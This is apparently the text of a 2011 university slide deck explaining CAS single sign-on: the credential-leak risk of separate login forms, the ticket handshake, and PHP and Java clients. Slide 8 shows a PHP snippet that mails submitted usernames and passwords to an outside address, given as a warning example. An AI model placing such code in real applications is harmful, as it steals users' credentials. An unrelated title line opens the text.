Unblocking The Main Thread Solving ANRs and Frozen Frames
Jasig
1. A Central Authentication Service for ANU
Steve Swinsburg
Java Team Leader
Information Technology Infrastructure, ANU
March 2011
Thursday, 31 March 2011
2. Overview
• Why do we need single sign on?
• Security issues with current approaches to
user authentication
• The architecture of CAS
• How you can implement it
• Demo
• Future possibilities
2
Thursday, 31 March 2011
3. Pop quiz
• Is same sign on, single sign on, it’s all the
same thing right?
• We plug our authentication into LDAP, isn’t
that enough?
NO!
3
Thursday, 31 March 2011
4. Why do we need single sign on?
• User Convenience
– User only needs to login once per browser
session
– Seamless login to multiple participating web
applications
• Security
– Applications never touch a user’s password
– User’s have the confidence that their primary
credentials won’t be leaked by a compromised
web application.
4
Thursday, 31 March 2011
5. User Convenience
• Much simpler experience for users
– can have one authoritative credential source
• we already do this via LDAP
– same sign on
– can also be a security issue depending on
implementation.
– reduce ‘authentication fatigue’
5
Thursday, 31 March 2011
6. Security
• We already have ‘same sign on’
– Applications use the same authoritative
source for user credentials - LDAP:
App 1
User App 2 LDAP
App 3
6
Thursday, 31 March 2011
7. The Security Issue
• Each web application’s login form touches
the user’s password to authenticate the
user.
• If just one application is compromised,
primary credentials are leaked and can be
used to access every other system.
– Intrusion, wi-fi sniffing, or even just logging.
7
Thursday, 31 March 2011
8. This may shock you
• Credential leaks are not always
malicious
– could be unintentional, inexperienced developer, unaware
• Webapps could be collecting credentials
– and mailing them, logging them, writing them to a file...
$uid = $_POST['username'];
$pwd = $_POST['password'];
mail('me@somewhere.com', "credentials", "u=$uid,p=$pwd");
8
Thursday, 31 March 2011
9. The Security Solution
• Get rid of all application login forms
• All applications make use of CAS for
authentication
• Users no longer present credentials to the
individual applications
• If an application is compromised, that’s
bad, but it will not affect the others as the
password cannot be leaked.
9
Thursday, 31 March 2011
10. The Security Solution
• Delegated authentication to CAS
CAS
App 1
User LDAP
App 2
App 3
10
Thursday, 31 March 2011
11. The Architecture of CAS
• To the user, it is a single action
– Login and then get redirected back to the app
• To the application, it is a series of
handshakes to ensure security
• Achieved via filters,clients and modules,
available for most languages (more on this
later)
11
Thursday, 31 March 2011
12. The Architecture of CAS
If need auth, redirect CAS
2 client to CAS
App 1 Username
4 CAS redirects to
app with ST (GET)
Password
1
Form contains
Client App verifies ST with a one use
Visit app 5 CAS (POST) token (LT) to
prevent form
CAS responds with replay
6 user auth result
and redirects to app
Validate
Attribute release via 3 credentials
SAML (optional)
LDAP
12
Thursday, 31 March 2011
13. The Architecture of CAS
• Form contains a one use token (LT)
– Cannot be replayed (ie back button)
• Client receives a cookie (TGT) to allow
future auto login
– Tightly scoped (to CAS only)
– SSL vended
• Application ST is single use only
– Cannot be replayed if URL is captured
13
Thursday, 31 March 2011
14. How you can implement it
• Java
– casclient, servlet filter
• PHP
– phpCAS module to get authenticated username
– automatically takes care of requests
• Closed source or vendor apps
– SAML
– Custom/modified login module if possible
– Consult the vendor (!)
14
Thursday, 31 March 2011
16. Future possibilities
• Potential to restrict LDAP auth once apps
are CASified
• Shibboleth is an option for federated
access across institutions
• Integration between Shib & CAS so the
UX is seamless for ANU users
• PC login can integrate with CAS via
Kerberos
16
Thursday, 31 March 2011
17. Questions
Steve Swinsburg
Java Team Leader
Information Technology Infrastructure, ANU
17
Thursday, 31 March 2011